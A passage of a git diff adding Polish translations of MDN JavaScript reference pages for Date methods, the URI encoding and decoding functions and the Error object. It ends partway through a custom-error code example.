new file mode 100644
index 0000000000..529b9bf434
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html
@@ -0,0 +1,43 @@
+---
+title: Date.prototype.toUTCString()
+slug: Web/JavaScript/Referencje/Obiekty/Date/toUTCString
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Konwertuje datę na łańcuch znaków, używając do konwersji czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toUTCString()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartość zwracana przez <code>toUTCString()</code> jest sformatowanym i tylko do odczytu łańcuchem znaków, stosowanym do konwersji UTC. Wartość zwracanego formatu może być określona stosownie do platformy.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_toUTCString" name="Przyk.C5.82ad:_Zastosowanie_toUTCString">Przykład: Zastosowanie <code>toUTCString()</code></h3>
+
+<pre class="brush: js language-js">var today = new Date();
+var UTCstring = today.toUTCString();
+<code class="language-js"><span class="token comment">// Mon, 03 Jul 2006 21:44:38 GMT</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/utc/index.html b/files/pl/web/javascript/referencje/obiekty/date/utc/index.html
new file mode 100644
index 0000000000..0bc3a38e6c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/utc/index.html
@@ -0,0 +1,69 @@
+---
+title: Date.UTC()
+slug: Web/JavaScript/Referencje/Obiekty/Date/UTC
+tags:
+ - Date
+ - JavaScript
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Akceptuje te same parametry co najdłuższa forma konstruktora i zwraca liczbę milisekund w obiekcie {{jsxref("Date")}}, które upłynęły od 1 stycznia, 1970, 00:00:00, czasu uniwersalnego.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Date.UTC(<em>rok</em>,<em> miesiąc</em>[,<em> dzień</em>[,<em> godz</em>[,<em> min</em>[,<em> sek</em>[, ms]]]]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>rok</code> </dt>
+ <dd>Rok po 1900.</dd>
+ <dt><code>miesiąc</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 11 reprezentująca miesiąc.</dd>
+ <dt><code>dzień</code> </dt>
+ <dd>Liczba całkowita pomiędzy 1 i 31 reprezentująca dzień miesiąca.</dd>
+ <dt><code>godz</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 23 reprezentująca godziny.</dd>
+ <dt><code>min</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 59 reprezentująca minuty.</dd>
+ <dt><code>sek</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 59 reprezentująca sekundy.</dd>
+ <dt><code>ms</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0 i 999 reprezentująca milisekundy.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>UTC</code> pobiera parametry daty oddzielone za pomocą przecinków i zwraca liczbę milisekund między 1 stycznia, 1970, 00:00:00, czasu uniwersalnego a określoną datą.</p>
+
+<p>Powinno używać się pełnego zapisu roku, na przykład 1998. Jeśli określony jest rok z przedziału pomiędzy 0 a 99, metoda konwertuje go do roku w 20 wieku (1900 + rok); na przykład, jeśli określiłeś go jako 95, zostanie użyty rok 1995.</p>
+
+<p>Metoda <code>UTC</code> różni się od konstruktora {{jsxref("Date")}} na dwa sposoby.</p>
+
+<ul>
+ <li><code>Date.UTC</code> używa czasu uniwersalnego zamiast lokalnego.</li>
+ <li><code>Date.UTC</code> zwraca wartość czasu jako liczbę zamiast tworzenia obiektu typu {{jsxref("Date")}}.</li>
+</ul>
+
+<p>Jeśli parametr określony jest poza spodziewanym zasięgiem, metoda <code>UTC</code> zaktualizuje pozostałe parametry. Na przykład, jeśli użyjesz liczby 15 do określenia miesiąca, wartość parametru <code>rok</code> zostanie powiększona o 1 (rok + 1), a 3 zostanie użyte w parametrze <code>miesiąc</code>.</p>
+
+<p>Ponieważ <code>UTC</code> jest statyczną metodą obiektu {{jsxref("Date")}}, zawsze powinno używać się jej jako <code>Date.UTC()</code>, niż jako metodę utworzonego obiektu {{jsxref("Date")}}.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Date.UTC" name="Przyk.C5.82ad:_Zastosowanie_Date.UTC">Przykład: Zastosowanie <code>Date.UTC()</code></h3>
+
+<p>Następująca instrukcja tworzy obiekt <code>Date</code> używający GMT (czasu uniwersalnego) zamiast czasu lokalnego:</p>
+
+<pre class="brush: js">var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Date.parse()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/date/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/date/valueof/index.html
new file mode 100644
index 0000000000..76d54c2187
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/date/valueof/index.html
@@ -0,0 +1,46 @@
+---
+title: Date.prototype.valueOf()
+slug: Web/JavaScript/Referencje/Obiekty/Date/valueOf
+tags:
+ - Date
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca prymitywną wartość obiektu <code>Date</code>.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.valueOf()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Metoda <code>valueOf</code> zwraca wartość prymitywną obiektu {{jsxref("Date")}} jako typ danych liczbowych, czyli liczbę milisekund od północy 1 stycznia 1970 UTC.</p>
+
+<p>Ta metoda jest funkcyjnie równoważna do metody {{jsxref("Date.prototype.getTime()")}}.</p>
+
+<p>Ta metoda często jest nazywana wewnętrzną metodą JavaScriptu i nie jest wyraźna w kodzie.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_valueOf" name="Przyk.C5.82ad:_Zastosowanie_valueOf">Przykład: Zastosowanie <code>valueOf()</code></h3>
+
+<pre class="brush: js">var x = new Date(56, 6, 17);
+var myVar = x.valueOf(); // przydziela -424713600000 do myVar
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/decodeuri/index.html b/files/pl/web/javascript/referencje/obiekty/decodeuri/index.html
new file mode 100644
index 0000000000..f88686b8a3
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/decodeuri/index.html
@@ -0,0 +1,39 @@
+---
+title: decodeURI()
+slug: Web/JavaScript/Referencje/Obiekty/decodeURI
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Dekoduje Jednolity Identyfikator Zasobu (URI) utworzony wcześniej przez funkcję {{jsxref("encodeURI", "encodeURI()")}} lub podobną.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>decodeURI(<i>encodedURI</i>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>encodedURI</code> </dt>
+ <dd>Kompletny, odkodowany Jednolity Identyfikator Zasobu.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Podmienia każdą sekwencję ucieczki (ang.
+ <i>escape sequence</i>
+ ) w zakodowanym URI znakiem, który reprezentuje.</p>
+
+<p>Nie dekoduje sekwencji, które nie mogłyby być wprowadzone przez {{jsxref("encodeURI", "encodeURI()")}}.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("encodeURIComponent", "encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html b/files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html
new file mode 100644
index 0000000000..a361e777d8
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html
@@ -0,0 +1,41 @@
+---
+title: decodeURIComponent()
+slug: Web/JavaScript/Referencje/Obiekty/decodeURIComponent
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Dekoduje komponent Jednolitego Identyfikatora Zasobu (URI) stworzonego przez {{jsxref("encodeURIComponent", "encodeURIComponent()")}} lub podobną.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>decodeURIComponent(<em>encodedURI</em>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>encodedURI</code> </dt>
+ <dd>Odkodowany komponent Jednolitego Identyfikatora Zasobu.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Podmienia każdą sekwencję ucieczki (ang.
+ <i>escape sequence</i>
+ ) w zakodowanym komponencie URI znakiem, który ona reprezentuje.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("encodeURIComponent", "encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/encodeuri/index.html b/files/pl/web/javascript/referencje/obiekty/encodeuri/index.html
new file mode 100644
index 0000000000..b794a414b3
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/encodeuri/index.html
@@ -0,0 +1,72 @@
+---
+title: encodeURI()
+slug: Web/JavaScript/Referencje/Obiekty/encodeURI
+tags:
+ - JavaScript
+ - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Koduje Jednolity Identyfikator Zasobu (URI) poprzez zamianę każdego z wystąpień pewnych znaków na jedną, dwie lub trzy sekwencje ucieczki (ang.
+ <i>escape sequences</i>
+ ) kodowania UTF-8 danego znaku.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>encodeURI(<em>URI</em>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>URI</code> </dt>
+ <dd>Kompletny Jednolity Identyfikator Zasobu.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Zakłada się, iż URI jest kompletnym URI, więc nie koduje znaków zarezerwowanych, mających specjalne znaczenie w URI.</p>
+
+<p><code>encodeURI</code> zamienia wszystkie znaki, poza podanymi poniżej, odpowiednimi sekwencjami ucieczki.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header">Typ</td>
+ <td class="header">Zawiera</td>
+ </tr>
+ <tr>
+ <td>Znaki zarezerwowane</td>
+ <td><code>; , / ? : @ &amp; = + $</code></td>
+ </tr>
+ <tr>
+ <td>Znaki nie podlegające ucieczce</td>
+ <td>Litery, cyfry, <code>- _ . ! ~ * ' ( )</code></td>
+ </tr>
+ <tr>
+ <td>
+ <i>Score</i>
+ </td>
+ <td><code>#</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Zauważ, że <code>encodeURI</code> samo z siebie
+
+ <i>nie</i>
+ potrafi utworzyć poprawnych żądań HTTP GET i POST, jak na przykład XMLHTTPRequest, ponieważ "&amp;", "+", i "=" nie są kodowane, a są traktowane jako znaki specjalne w żądaniach GET i POST. Jednakże, {{jsxref("encodeURIComponent", "encodeURIComponent()")}}, koduje te znaki. Zachowania te są konsekwentnie wspomagane przez różne przeglądarki.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("decodeURIComponent", "decodeURIComponent()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html b/files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html
new file mode 100644
index 0000000000..577cff9840
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html
@@ -0,0 +1,38 @@
+---
+title: encodeURIComponent()
+slug: Web/JavaScript/Referencje/Obiekty/encodeURIComponent
+tags:
+ - JavaScript
+ - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Koduje każdy komponent Jednolitego Identyfikatora Zasobu (URI) poprzez zamianę, każdego wystąpienia pewnych znaków jedną, dwoma lub trzema sekwencjami ucieczki reprezentujące kodowanie UTF-8 znaku.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox">encodeURIComponent(str);</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Komponent Jednolitego Identyfikatora Zasobu.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>encodeURIComponent()</code> zamienia wszystkie znaki na sekwencje ucieczki poza znakami: alfabetycznymi, cyframi, <code>- _ . ! ~ * ' ( )</code></p>
+
+<p>Ze względów bezpieczeństwa, powinieneś wywoływać <code>encodeURIComponent</code> na każdym parametrze podanym przez użytkownika, który będzie podany jako część URI. Na przykład, użytkownik mógł wpisać "<code>Thyme &amp;time=again</code>" dla zmiennej <code>comment</code>. Nie użycie <code>encodeURIComponent</code> na tej zmiennej da <code>comment=Thyme%20&amp;time=again</code>. Zauważ, że znak ampersand (<em>&amp;</em>) i znak równości (<em>=</em> ) oznaczają nową parę kluczy i wartość. Więc, zamiast wysyłać klucz <code>comment</code> równy <code>Thyme &amp;time=again</code>, dostaniesz dwa klucze POST, jeden równy "Thyme" , a drugi (<code>time</code>) równy again.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("decodeURIComponent", "decodeURIComponent()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html b/files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html
new file mode 100644
index 0000000000..dbf51b3bf3
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html
@@ -0,0 +1,81 @@
+---
+title: Error.prototype.columnNumber
+slug: Web/JavaScript/Referencje/Obiekty/Error/columnNumber
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/columnNumber
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>The <code><strong>columnNumber</strong></code> property contains the column number in the line of the file that raised this error.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_columnNumber">Using <code>columnNumber</code></h3>
+
+<pre class="brush: js">var e = new Error('Could not parse input');
+throw e;
+console.log(e.columnNumber) // 0
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of any specification. Non-standard.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/filename/index.html b/files/pl/web/javascript/referencje/obiekty/error/filename/index.html
new file mode 100644
index 0000000000..a0290eac45
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/filename/index.html
@@ -0,0 +1,49 @@
+---
+title: Error.prototype.fileName
+slug: Web/JavaScript/Referencje/Obiekty/Error/fileName
+tags:
+ - JavaScript
+ - Prototyp
+ - Prototype
+ - Właściwość
+ - niestandardowe
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/fileName
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Właściwość <code><strong>fileName</strong></code> zawiera ścieżkę do pliku, który spowodował błąd.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Ta nieopisana w żadnym standardzie właściwość zawiera ścieżkę do pliku, który spowodował błąd. Jeśli jest wywoływana z kontekstu debuggera, jak na przykład Firefox Developer Tools, zwracana jest wartość "debugger eval code".</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_fileName">Użycie <code>fileName</code></h3>
+
+<pre class="brush: js">var e = new Error('Błąd przy parsowaniu wejścia');
+throw e;
+// wartość e.fileName powinna być czymś podobnym do "file:///C:/example.html"
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<p><span class="pl-s">Nie jest częścią żadnego standardu.</span></p>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Error.fileName")}}</p>
+</div>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}}</li>
+ <li>{{jsxref("Error.prototype.columnNumber")}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/error/index.html b/files/pl/web/javascript/referencje/obiekty/error/index.html
new file mode 100644
index 0000000000..408b1b797b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/error/index.html
@@ -0,0 +1,246 @@
+---
+title: Error
+slug: Web/JavaScript/Referencje/Obiekty/Error
+tags:
+ - Błąd
+ - CustomError
+ - Error
+ - JavaScript
+ - Obsługa błędów
+translation_of: Web/JavaScript/Reference/Global_Objects/Error
+---
+<div>{{JSRef}}</div>
+
+<div>Kontruktor klasy <strong><code>Error</code></strong> tworzy obiekt błędu. Instancja klasy <code>Error</code> jest rzucana w momencie napotkania błędu w trakcie wykonywania programu. Klasa <code>Error</code> może być także używana do tworzenia własnych wyjątków. Poniżej przestawione zostaną wbudowane standardowe typy błędów.</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">new Error([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Opcjonalny. Opis błędu zrozumiały dla użytkownika.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Opcjonalny. Wartość dla parametru <code>fileName</code> przy tworzeniu obiektu <code>Error</code>. Domyślnie to nazwa pliku zawierającego kod, który wywołał konstruktor.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Opcjonalny. Wartość dla paramteru <code>lineNumber</code> przy tworzeniu obiektu <code>Error</code>. Domyślnie zawiera numer linijki zawirającej wywołanie konstruktora klasy <code>Error</code>.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Błędy w trakcie wykonywania programu skutkują utworzeniem i rzuceniem nowego obiektu <code>Error</code>.</p>
+
+<p>This page documents the use of the <code>Error</code> object itself and its use as a constructor function. For a list of properties and methods inherited by <code>Error</code> instances, see {{jsxref("Error.prototype")}}.</p>
+
+
+
+<h3 id="Używanie_jako_funkcja">Używanie jako funkcja</h3>
+
+<p>Gdy <code>Error</code> jest używany jako funkcja -- bez słowa kluczowego <code>new</code>, zwraca on obiekt <code>Error</code>. Możemy więc zauważyć, że zwykłe wywołanie <code>Error</code> zwróci nam to samo co stworznie nowego obiektu <code>Error</code> przy pomocy słowa kluczowego <code>new</code>.</p>
+
+<pre class="notranslate"><code>// to:
+const x = Error('Jestem stworzony przy pomocy wyowałania funkcji!');
+​​​​// działa tak samo jak to:
+const y = new Error('Jestem stworzony przy pomocy słowa kluczowego "new"!');</code></pre>
+
+
+
+<h3 id="Typy_błędów">Typy błędów</h3>
+
+<p>Oprócz konstruktora generycznego <code>Error</code>, mamy jeszcze siedem innych podstawowych konstruktorów błędów w JavaScript. Dla wyjątów po stronie klienta zobacz <a href="/en-US/docs/Web/JavaScript/Guide/Statements#Exception_Handling_Statements">Exception Handling Statements</a>.</p>
+
+<dl>
+ <dt>{{jsxref("EvalError")}}</dt>
+ <dd>Tworzy instancje reprezentującą błąd dotyczący globalnej funkcji {{jsxref("Global_Objects/eval", "eval()")}}.</dd>
+ <dt>{{jsxref("InternalError")}} {{non-standard_inline}}</dt>
+ <dd>Tworzy instancje reprezentującą błąd, który występuje w momencie wyrzucenia wewnętrznego błędu silnika JavaScript np. "too much recursion".</dd>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Tworzy instancje reprezentującą błąd, który występuje w momencie gdy zmienna numeryczna lub parametr wyjdzie poza zakres. </dd>
+ <dt>{{jsxref("ReferenceError")}}</dt>
+ <dd>Tworzy instancje reprezentującą błąd, który występuje przy próbie odwołania do nieistniejącego zasobu.</dd>
+ <dt>{{jsxref("SyntaxError")}}</dt>
+ <dd>Tworzy instancje reprezentującą błąd składni, który występuje przy parsowaniu kodu przy pomocy {{jsxref("Global_Objects/eval", "eval()")}}.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>Tworzy instancję reprezentującą błąd, który występuje gdy zmienna lub parametr mają niepoprawny typ.</dd>
+ <dt>{{jsxref("URIError")}}</dt>
+ <dd>Tworzy instancję reprezentującą błąd, który występuje gdy {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} i {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} mają przekazane nieprawidłowe parametry.</dd>
+</dl>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype")}}</dt>
+ <dd>Pozwala na dodawanie właściwości do instancji klasy <code>Error</code>.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<p>Globalny obiekt <code>Error</code> sam w sobie nie zawiera metod, niemniej, dziedziczy on niektóre metody z łańcucha prototypów.</p>
+
+<h2 id="Error_instancje"><code>Error</code> instancje</h2>
+
+<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Description')}}</div>
+
+<h3 id="Właściwości_2">Właściwości</h3>
+
+<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Properties')}}</div>
+
+<h3 id="Metody_2">Metody</h3>
+
+<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Methods')}}</div>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Rzucanie_ogólnego_błędu">Rzucanie ogólnego błędu</h3>
+
+<p>Zazwyczaj tworzysz obiekt <code>Error</code> w celu wywołania go przy użyciu słowa kluczowego {{jsxref("Statements/throw", "throw")}}. Możesz obsłużyć tak rzucony błąd przy pomocy konstrukcji {{jsxref("Statements/try...catch", "try...catch")}}:</p>
+
+<pre class="brush: js notranslate">try {
+ throw new Error('Whoops!');
+} catch (e) {
+ alert(e.name + ': ' + e.message);
+}
+</pre>
+
+<h3 id="Obsługa_specyficznych_błędów">Obsługa specyficznych błędów</h3>
+
+<p>Jeżeli chcesz możesz obsługiwać tylko specyficzny rodzaj błędu poprzez użycie właściwości jego {{jsxref("Object.prototype.constructor", "constructor")}} lub, jeżeli używasz nowoczesnego silnika JavaScript, poprzez słowo kluczowe {{jsxref("Operators/instanceof", "instanceof")}}:</p>
+
+<pre class="brush: js notranslate">try {
+ foo.bar();
+} catch (e) {
+ if (e instanceof EvalError) {
+ alert(e.name + ': ' + e.message);
+ } else if (e instanceof RangeError) {
+ alert(e.name + ': ' + e.message);
+ }
+ // ... etc
+}
+</pre>
+
+<h3 id="Niestandardowe_typy_błędów">Niestandardowe typy błędów</h3>
+
+<p>Możesz chcieć zdefiniować własny typ błędu pochodzący z klasy <code>Error</code> z możliwością rzucenia błędu <code>throw new MyError()</code> i użycia <code>instanceof MyError</code> w celu sprawdzenia jego rodzaju. Skutkuje to czystszym i spójniejszym kodem obsługi błędów. Zobacz <a href="http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript">"What's a good way to extend Error in JavaScript?"</a> na StackOverflow dla dogłębniejszej analizy.</p>
+
+<h4 id="ES6_Custom_Error_Class">ES6 Custom Error Class</h4>
+
+<div class="warning">
+<p>Babel i inne transpilatory nie potrafią poprawnie obsłużyć podanego kodu bez <a href="https://github.com/loganfsmyth/babel-plugin-transform-builtin-extend">dodatkowej konfiguracji</a>.</p>
+</div>
+
+<div class="note">
+<p>Nie które przeglądarki dodają constructor <code>CustomError</code> w stosie błędu kiedy używamy klas ES2015</p>
+</div>
+
+<pre class="brush: js notranslate">class CustomError extends Error {
+ constructor(foo = 'bar', ...params) {
+ // Pass remaining arguments (including vendor specific ones) to parent constructor
+ super(...params);
+
+  // Maintains proper stack trace for where our error was thrown (only available on V8)
+ if (Error.captureStackTrace) {
+  Error.captureStackTrace(this, CustomError);
+ }
+
+ // Custom debugging information
+ this.foo = foo;
+  this.date = new Date();
+ }
+}
+
+try {
+ throw new CustomError('baz', 'bazMessage');
+} catch(e){
+ console.log(e.foo); //baz
+ console.log(e.message); //bazMessage
+ console.log(e.stack); //stacktrace
+}</pre>
+
+<h4 id="ES5_Custom_Error_Object">ES5 Custom Error Object</h4>
+
+<div class="warning">
+<p><strong>Wszystkie</strong> przeględarki dodają konstruktor <code>CustomError </code>kiedy używasz konstruktora z wykorzystaniem prototype</p>
+</div>
+
+<pre class="brush: js notranslate">function CustomError(foo, message, fileName, lineNumber) {
+ var instance = new Error(message, fileName, lineNumber);
+ instance.foo = foo;
+ Object.setPrototypeOf(instance, Object.getPrototypeOf(this));
+ if (Error.captureStackTrace) {
